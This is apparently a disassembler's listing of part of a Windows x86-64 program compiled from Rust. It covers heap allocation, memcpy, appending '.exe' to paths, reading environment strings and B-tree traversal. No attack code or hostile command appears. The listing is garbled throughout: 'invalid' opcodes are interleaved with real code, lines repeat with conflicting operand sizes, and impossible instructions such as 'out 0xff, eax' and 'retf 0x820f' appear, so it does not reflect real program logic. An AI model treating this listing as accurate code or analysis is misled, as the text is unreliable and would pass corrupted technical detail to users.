mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x88], rcx
mov byte [rsp + 0x92], al
mov word [rsp + 0x90], 0x200
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
test byte [rdx + rdx*4], ah
xchg edx, eax
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x73]
and al, 0x20
add byte [rdx], al
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x58]
call fcn.140084850
out 0xff, eax
inc dword [rax + 0x920247c]
out 0xff, eax
inc dword [rax + 0x920247c]
jl 0x1400860fc
and byte [rcx], cl
mov rdx, qword [rsp + 0x30]
jne 0x1400860e8
mov rax, qword [rsp + 0x28]
jmp 0x1400860ea
xor eax, eax
add rsp, 0x98
pop rdi
pop rsi
add byte [rdi + 0x5e], bl
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
mov edx, esi
call fcn.1400a9cf0
ud2
invalid
or ecx, esp
int3
int3
mov esi, ecx
mov rbx, qword [rcx]
mov rdi, qword [rcx + 0x10]
adc byte [rax - 0x77], cl
invalid
mov rdx, rdi
call fcn.140085fe0
test rax, rax
je 0x1400862b3
add dword [rax], eax
invalid
adc byte [rax - 0x77], cl
invalid
add dword [rax], eax
add byte [rax - 0x7d], cl
cli
cmp rdx, 2
jne 0x140086164
add dh, byte [rbp + 0x25]
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne 0x140086164
mov r8d, 2
add al, byte [rax]
add byte [rax], al
xor r9d, r9d
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi + rcx + 0x45], 0xc8
cmovne r9, rax
test r9, r9
jne 0x1400861d9
jmp 0x1400862b3
mov r8, rdx
nop word [rax + rax]
shl byte [rsi + 0xf], 1
invalid
test r8, r8
je 0x1400861ad
mov rcx, r8
dec r8
cmp byte [rax + rcx - 1], 0x2e
jne 0x140086170
mov r10, rdx
sub r10, rcx
jb 0x1400862ea
ror byte [rcx + 0x29], cl
retf 0x820f
test r8, r8
je 0x1400861c3
mov r9, rax
add r9, rcx
mov rdx, r10
test rax, rax
cmovne r9, rax
test r9, r9
jne 0x1400861d9
jmp 0x1400862b3
mov r9, rax
xor eax, eax
test rax, rax
cmovne r9, rax
test r9, r9
test ecx, ecx
jne 0x1400861d9
jmp 0x1400862b3
xor r9d, r9d
mov r8, rdx
test rax, rax
cmovne r9, rax
test r9, r9
je 0x1400862b3
test rax, rax
cmove r8, rdx
add r9, r8
sub r9, rbx
cmp rdi, r9
jb 0x1400861f2
mov qword [rsi + 0x10], r9
mov rdi, r9
mov r15, qword [rsi + 8]
mov rax, r15
sub rax, rdi
cmp rax, 3
ja 0x14008626e
mov r14, rdi
add r14, 4
add al, 0xf
invalid
jb 0x1400862fd
mov rdx, r14
not rdx
shr rdx, 0x3f
invalid
test r15, r15
invalid
test edi, edi
je 0x140086233
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], r15
jmp 0x14008623c
mov qword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
mov r8, r14
call fcn.1400a57b0
cmp qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
je 0x1400862bf
movabs rax, 0x8000000000000001
cmp rcx, rax
jne case.0x140083794.181
add byte [rax], al
cmp rdi, r15
jne 0x140086285
mov rcx, rsi
mov rdx, rdi
call fcn.140051370
mov rbx, qword [rsi]
mov rdi, qword [rsi + 0x10]
mov byte [rbx + rdi], 0x2e
inc rdi
inc rdi
mov qword [rsi + 0x10], rdi
mov rax, qword [rsi + 8]
sub rax, rdi
cmp rax, 2
jbe 0x1400862d3
mov rax, qword [rsi]
mov byte [rax + rdi + 2], 0x65
mov word [rax + rdi], 0x7865
mov word gs:[rax + rdi], 0x7865
cmp byte [rbp + 0x78], ah
add rdi, 3
mov qword [rsi + 0x10], rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov r8d, 3
mov eax, 3
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, rdi
call fcn.1400aae70
mov rdi, qword [rsi + 0x10]
jmp 0x14008629d
invalid
mov bl, 0x4c
lea eax, [0x1400e7c18]
invalid
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_sliceiter.rs
add al, ch
cli
cmp dword [rdx], eax
add byte [rdi], cl
or ecx, dword [rax - 0x7b]
test rcx, rcx
call fcn.1400a9cf0
ud2
test rcx, rcx
jne 0x140086304
call fcn.1400401e0
ud2
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
call fcn.1400a9bd0
add al, byte [rax]
ud2
push rbx
sub rsp, 0x28
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
invalid
je 0x140086373
sal byte [rsp + rcx*2 + 0x78], 0x77
js 0x1400863a0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
invalid
jne case.0x140083be3.153
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140086364
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
cmpsd dword [rsi], dword [rdi]
invalid
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r14, rax
test rax, rax
test eax, eax
test eax, eax
jne 0x140086379
mov ecx, 1
mov rdx, rsi
call fcn.1400a9bd0
ud2
pop rdi
cmp byte [rdx], al
add byte [rdi], cl
or eax, dword [rcx - 0x42]
add dword [rax], eax
add byte [rax], al
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add al, byte [rax]
add al, byte [rax]
mov qword [rdi], r14
mov dword [rdi], esi
mov qword [rdi + 8], rsi
ja 0x140086396
mov qword [rdi + 0x10], rsi
mov byte [rdi + 0x18], 0
sbb byte [rax], al
sbb byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.1400401e0
ud2
iretd
js 0x140086481
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne case.0x1400837b8.175
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
lahf
add al, byte [rax]
test rax, rax
je 0x14008641d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne case.0x1400836ee.191
mov ecx, 1
mov rdx, rbx
call fcn.1400a9bd0
ud2
mov r12, qword [rbp + 0x60]
mov rcx, r15
mov rdx, r14
invalid
mov edx, esi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
pop rbp
invalid
pop rbp
call 0x140f8aa1a
mov byte [rbp - 0x10], 0
mov byte [rbp - 0x10], 0
lea rcx, [rbp - 0x28]
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, r12
call fcn.140083660
movups xmm0, xmmword [rbp - 0x28]
adc byte [rbp - 0x28], al
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
call 0x15056757e
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rbp
ret
call fcn.1400401e0
ud2
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
cmp qword [rbp - 0x20], 0
je 0x1400864c1
mov r8, qword [rbp - 0x28]
mov rcx, qword [0x1400f91f8]
invalid
sub eax, 0xd2310007
invalid
sub eax, 0xd2310007
add byte [rcx], dh
sar bh, cl
adc eax, 0x29f47
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
int3
mov dword [rax + 4], ecx
mov dword [rax + 8], edx
push rax
or bl, al
int3
ret
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
add byte [rax], al
add byte [rcx + rcx*4 - 0x3d], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x3d], cl
mov r14, rdx
mov rsi, rcx
mov rdi, qword [r8 + 8]
mov r12, qword [r8 + 0x10]
xor r15d, r15d
xorps xmm6, xmm6
invalid
lea rbp, [0x1400f0bdc]
sub eax, 0x6a6a3
mov qword [rsp + 0x20], rdi
and al, 0x20
mov qword [rsp + 0x28], r12
mov r13, r12
lea r12, [rsp + 0x40]
jmp 0x140086569
invalid
cmp byte [rax + 0x10], 0x23
jne 0x140086734
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x60]
call fcn.140079f00
cmp r13, rdi
je 0x1400865df
mov rax, qword [rbx]
add rax, r13
mov rcx, rdi
sub rcx, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], r15
mov rcx, r14
mov rdx, r12
call fcn.1400822b0
test rax, rax
je 0x1400865fd
mov ecx, eax
and ecx, 3
movsxd rcx, dword [rbp + rcx*4]
add rcx, rbp
jmp rcx
add byte [rax], al
nop dword [rax]
mov rcx, rax
shr rcx, 0x20
cmp ecx, 0x28
ja 0x140086734
mov r8d, 0x20
mov rcx, rbx
mov rdx, rdi
call fcn.1400aae70
mov rdi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
jmp 0x14008656e
mov r12, qword [rsp + 0x50]
and al, 0x50
test r12, r12
je 0x140086770
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x58
mov rax, qword [rsp + 0x58]
mov r15, rax
sub r15, r12
jb 0x140086798
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x48]
cmp rax, rdx
ja 0x1400867ac
add r12, r13
mov qword [rbx + 0x10], r12
cmp rdi, qword [rsp + 0x20]
jne 0x140086543
invalid
invalid
invalid
invalid
invalid
cmp r12, rdi
jne 0x140086543
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov r9d, 0x20
lea r12, [rsp + 0x30]
mov rcx, r12
mov rdx, r14
lea r8, [rsp + 0x60]
call fcn.140082480
cmp qword [rsp + 0x30], 0
lea rdi, [rsp + 0x38]
jne 0x1400866f2
mov r13, qword [rsp + 0x38]
test r13, r13
je 0x14008675b
cmp r13, 0x21
jae 0x140086782
mov rcx, rbx
mov rdx, qword [rsp + 0x20]
mov r8, r13
call fcn.1400aae70
mov rdi, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov rcx, qword [rbx]
add rcx, r12
lea rdx, [rsp + 0x60]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rbx + 0x10], r12
jmp 0x140086543
cmp byte [rax + 0x10], 0x23
jne 0x140086726
mov rcx, rdi
call fcn.140079f00
mov r9d, 0x20
mov rcx, r12
mov rdx, r14
lea r8, [rsp + 0x60]
call fcn.140082480
cmp qword [rsp + 0x30], 0
je case.default.0x14008670a
invalid
mov rax, qword [rsp + 0x38]
mov ecx, eax
and ecx, 3
loope 0x1400866ff
lea rdx, [0x1400f0bec]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
jmp 0x188086da8
shr ecx, 0x20
cmp ecx, 0x28
ja 0x140086726
cmp rcx, 0x23
je 0x1400866cc
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x14008673f
mov qword [rsi + 8], rax
mov qword [rsi], 1
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x20]
sub rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
xor eax, eax
mov qword [rsi], rax
jmp 0x14008673f
sub r13, qword [rsp + 0x28]
mov qword [rsi + 8], r13
mov qword [rsi], 0
jmp 0x14008673f
lea r8, [0x1400e8e68]
mov edx, 0x20
mov rcx, r13
call fcn.1400a9df0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, r12
mov rdx, rax
call fcn.1400aa0c0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, rax
call fcn.1400a9df0
ud2
cmp word [rbx], 0
je 0x140086dfc
mov r12, rbx
mov rcx, 0xfffffffffffffffe
xor edx, edx
nop word cs:[rax + rax]
mov r15, rdx
mov rax, rcx
inc rdx
add rcx, 2
cmp word [r12 + r15*2], 0
jne 0x140086c40
lea rbx, [r12 + rdx*2]
cmp r15, 1
je 0x140086c20
test r15, r15
je 0x14008a1d7
xor r13d, r13d
nop dword [rax + rax]
cmp word [r12 + r13*2 + 2], 0x3d
je 0x140086c90
inc r13
add rax, 0xfffffffffffffffe
jne 0x140086c70
jmp 0x140086c20
lea r8, [r13 + 1]
cmp r13, r15
jae 0x14008a1ef
mov rcx, rsi
mov rdx, r12
call fcn.14007df10
add r13, 2
mov r8, r15
sub r8, r13
jb 0x14008a209
lea rdx, [r12 + r13*2]
mov rcx, rdi
call fcn.14007df10
mov r8, qword [rbp + 0x460]
mov r9, qword [rbp + 0x468]
movdqu xmm6, xmmword [rbp + 0x470]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
lea rax, [rbp]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmmword [rbp - 0x20], xmm6
cmp byte [rbp - 0x18], 2
je 0x140086dfc
test bl, bh
add byte [rax], al
invalid
mov qword [rbp + 0x5a8], r9
mov qword [rbp + 0x5d8], rdx
mov qword [rbp + 0x5c8], rcx
movq rax, xmm6
add rax, r8
mov qword [rbp + 0x460], r8
mov qword [rbp + 0x468], rax
mov word [rbp + 0x470], 0
mov r15, r14
mov rcx, r14
mov rdx, rsi
mov qword [rbp + 0x5b0], r8
call fcn.14008b7c0
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x10], rax
movdqu xmmword [rbp + 0x18], xmm6
movups xmm0, xmmword [rbp + 0x578]
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbp + 0x588]
mov qword [rbp], rax
mov rax, qword [rbp + 0x5c8]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x5d8]
fadd dword [0xc9506d92]
test dword [rax + 4], ebp
add byte [rax], al
fadd dword [0xc9506d92]
test dword [rax + 4], ebp
add byte [rax], al
movdqa xmm0, xmmword [rbp + 0x4c0]
lea rax, [rbp + 0x470]
movdqu xmmword [rax], xmm0
mov byte [rbp + 0x5a7], 0
mov rcx, r15
lea rdx, [rbp + 0x4e0]
mov r8, rdi
mov r9, rsi
call fcn.14008ba10
cmp byte [rbp + 0x590], 2
je 0x140086c20
cmp qword [rbp + 0x580], 0
je 0x140086c20
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140086c20
mov rcx, qword [rbp + 0x570]
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov r15, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x4d8]
mov rax, qword [rcx + 0x50]
mov r9, qword [rcx + 0x58]
xor edi, edi
test rax, rax
setne dil
cmove r15, rax
xor esi, esi
jmp 0x140086e39
xor eax, eax
mov r9, qword [rbp + 0x570]
test r15, r15
je 0x1400876d2
test rdi, rdi
je 0x140086e90
mov rax, qword [rsi + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov eax, dword [rax + 0x3d8]
mov eax, dword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rsi, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140086f80
xor r9d, r9d
jmp 0x140086fd7
dec r15
dec edi
imul rax, r13, 0x38
lea r14, [r12 + rax]
add r14, 0x168
shl r13, 5
cmp byte [r12 + r13 + 0x18], 2
jne 0x140087050
mov rbx, qword [rbp + 0x4e0]
mov eax, 0
test rbx, rbx
je 0x140086e39
mov r12, r9
mov r13, rdi
mov r9, qword [r14]
mov rax, qword [r14 + 0x10]
mov rdi, qword [rbp + 0x4e8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x578]
mov rdx, rbx
mov r8, rdi
call fcn.14008d240
cmp qword [rbp + 0x578], 0
js 0x14008703f
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 2], ah
add byte [rax], al
js 0x14008703f
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 2], ah
add byte [rax], al
add al, byte gs:[rax]
add byte [rcx], dh
ror byte [rcx + rcx*4 - 0x11], 0x4d
mov ecx, esp
xor eax, eax
mov rdi, r13
mov r9, r12
jmp 0x140086e39
mov qword [rbp + 0x5c8], rdi
mov rdi, qword [r14 + 0x18]
mov rbx, qword [r14 + 0x28]
test rbx, rbx
mov qword [rbp + 0x570], r9
je 0x1400870b2
js 0x14008a1bb
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x14008709a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a175
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x1400870b7
jmp 0x14008a175
mov eax, 1
mov qword [rbp + 0x5b8], r15
mov qword [rbp + 0x5b0], rax
mov eax, 0x48000005
mov dword [rbp + 0x5b0], eax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx r15d, byte [r14 + 0x30]
mov rdi, qword [r14]
mov r14, qword [r14 + 0x10]
mov eax, 2
mov qword [rbp + 0x5d8], rax
test r14, r14
mov qword [rbp + 0x5a8], rbx
je 0x140087160
mov rax, r14
shr rax, 0x3e
jne 0x14008a1a0
mov rbx, r14
add rbx, r14
je 0x140087160
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140087135
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
xchg edi, eax
xor byte [rax], al
add byte [rax - 0x77], cl
add eax, 0x720c3
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov qword [rbp + 0x5d8], rax
test rax, rax
jne 0x140087162
jmp 0x14008a1c5
xor ebx, ebx
add r12, r13
mov r13, qword [rbp + 0x5d8]
mov rcx, r13
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], r15b
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r14
mov qword [rbp], r14
mov rbx, qword [r12]
mov rdi, qword [r12 + 0x10]
test rdi, rdi
mov qword [rbp + 0x598], r14
je 0x14008720a
mov r15, qword [rbp + 0x5b8]
js 0x14008a1aa
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x1400871ef
mov r13d, 1
mov r15, qword [rbp + 0x5b8]
mov rcx, r13
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [r12 + 0x18]
mov qword [rbp + 0x460], r13
mov qword [rbp + 0x468], rdi
mov qword [rbp + 0x470], rdi
mov byte [rbp + 0x478], al
mov byte [rbp + 0x5c7], 0
lea rcx, [rbp + 0x578]
lea rdx, [rbp + 0x4e0]
lea r8, [rbp - 0x10]
lea r9, [rbp + 0x460]
call fcn.14008ba10
cmp byte [rbp + 0x590], 2
mov rdi, qword [rbp + 0x5c8]
je 0x140086e30
cmp qword [rbp + 0x580], 0
je 0x140086e30
js 0x140087297
add byte [rax], al
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x29165
pop rbp
invalid
sar bh, cl
adc eax, 0x29165
jmp 0x140086e30
mov rax, qword [rbp + 0x580]
mov rdx, qword [rbp + 0x588]
mov rcx, qword [rbp + 0x590]
mov byte [rbp + 0x400], 0
test rdx, rdx
je 0x140087435
mov rax, qword [rax + rcx*8 + 0x3d8]
mov rcx, rdx
dec rcx
je 0x14008739e
invalid
add byte [rcx - 0x77], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, rcx
and r8, 7
je 0x14008730e
mov rcx, r8
nop dword [rax]
movzx r9d, word [rax + 0x3d2]
mov rax, qword [rax + r9*8 + 0x3d8]
dec rcx
jne 0x1400872f0
not r8
not eax
add r8, rdx
mov rcx, r8
add rdx, 0xfffffffffffffffe
cmp rdx, 7
jb 0x14008739e
nop dword [rax]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
nop
rol byte [rbx], cl
add byte [rax], al
nop
rol byte [rbx], cl
add byte [rax], al
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
rcr al, 1
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x90
rol byte [rbx], cl
add byte [rax], al
rcr al, 1
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x90
rol byte [rbx], cl
add byte [rax], al
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140087320
movzx ecx, word [rax + 0x3d2]
dec rcx
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], 0
mov qword [rbp + 0x4d0], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x4c0]
lea r8, [rbp + 0x400]
call fcn.14008d3e0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x4b0], rax
movups xmm0, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x4a0], xmm0
movdqu xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movups xmm3, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x490], xmm3
movaps xmmword [rbp + 0x480], xmm2
movaps xmmword [rbp + 0x470], xmm1
movdqa xmmword [rbp + 0x460], xmm0
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
movzx ecx, word [rdx + 0x3d2]
cmp rax, rcx
cmp eax, ecx
cmp eax, ecx
jae 0x14008746a
mov rcx, rdx
jmp 0x140087499
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], 0
mov qword [rbp + 0x470], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x460]
lea r8, [rbp + 0x400]
call fcn.14008d3e0
jmp 0x14008758b
mov r8, qword [rbp + 0x50]
nop
mov rcx, qword [rdx + 0x160]
test rcx, rcx
je 0x140087494
inc r8
movzx eax, word [rdx + 0x3d0]
mov rdx, rcx
cmp ax, word [rcx + 0x3d2]
jae 0x140087470
jmp 0x140087499
mov rax, r8
xor ecx, ecx
imul rdx, rax, 0x38
shl rax, 5
mov r8, qword [rcx + rdx + 0x198]
mov qword [rbp + 0x530], r8
movups xmm0, xmmword [rcx + rdx + 0x168]
movups xmm1, xmmword [rcx + rdx + 0x178]
movups xmm2, xmmword [rcx + rdx + 0x188]
movaps xmmword [rbp + 0x520], xmm2
movaps xmmword [rbp + 0x510], xmm1
movaps xmmword [rbp + 0x500], xmm0
mov r8, qword [rbp + 0x490]
mov qword [rcx + rdx + 0x198], r8
movaps xmm0, xmmword [rbp + 0x460]
movaps xmm1, xmmword [rbp + 0x470]
movaps xmm2, xmmword [rbp + 0x480]
movups xmmword [rcx + rdx + 0x188], xmm2
movups xmmword [rcx + rdx + 0x178], xmm1
movups xmmword [rcx + rdx + 0x168], xmm0
movups xmm0, xmmword [rcx + rax]
movups xmm1, xmmword [rcx + rax + 0x10]
lea rdx, [rbp + 0x538]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0x498]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + rax], xmm0
movups xmmword [rcx + rax + 0x10], xmm1
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x40], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [rbp + 0x500]
movaps xmm1, xmmword [rbp + 0x510]
movaps xmm2, xmmword [rbp + 0x520]
movaps xmm3, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movdqa xmmword [rbp - 0x10], xmm0
mov r14, r15
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp - 8]
mov qword [rbp + 0x5d8], rax
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x20]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x5c8], rax
dec qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x5a8], rax
test al, 5
add byte [rax], al
test al, 5
add byte [rax], al
movzx eax, byte [rbp + 0x40]
mov byte [rbp + 0x5b8], al
cmp byte [rbp + 0x400], 0
je 0x14008763b
mov qword [rbp + 0x598], rcx
mov qword [rbp + 0x568], r8
test rdi, rdi
je 0x14008a220
mov rax, qword [rbx + 0x3d8]
mov qword [rbp + 0x4e0], rax
dec rdi
mov qword [rbp + 0x4e8], rdi
mov qword [rax + 0x160], 0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x568]
mov rcx, qword [rbp + 0x598]
mov eax, 0
cmp r15b, 2
mov r15, r14
mov rdi, r13
mov r9, r12
je 0x140086e39
test rcx, rcx
je 0x14008766a
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r12
cmp qword [rbp + 0x5d8], 0
je 0x14008768d
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x428], rax
movdqu xmm0, xmmword [rbp + 0x4e0]
movdqu xmmword [rbp + 0x418], xmm0
mov qword [rbp + 0x410], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140087727
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x5d8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
cmp qword [rbp + 0x410], 0
je 0x140087ab6
mov rcx, qword [rbp + 0x418]
test rcx, rcx
je 0x140087a9d
mov rdx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rbp - 8], 0
mov qword [rbp], rcx
mov qword [rbp + 8], rdx
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov ecx, 1
jmp 0x140087aa1
cmp r15, rcx
je 0x140087ae7
invalid
invalid
add byte [rax], al
invalid
test byte [rsi + 0x41000000], bh
movzx edx, byte [rsi + rcx]
movzx edx, byte [r14 + rcx]
cmp edx, 0x2f
je 0x140087a3b
inc rcx
cmp edx, 0x5c
jne 0x140087a20
test al, al
mov qword [rbp + 0x5a8], rbx
je 0x140087bc3
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp - 0x10]
mov rdx, r14
mov r8, r15
call fcn.14007be20
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
test rcx, rcx
je 0x140087cb3
mov rdx, qword [rbp]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov qword [rbp], rdx
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x4e0]
lea rdx, [rbp - 0x10]
call fcn.14008d900
jmp 0x14008872c
xor ecx, ecx
xor eax, eax
mov qword [rbp - 0x10], rcx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x10]
call fcn.14008b6f0
mov rsi, qword [rbp + 0x448]
cmp dword [rsi], 4
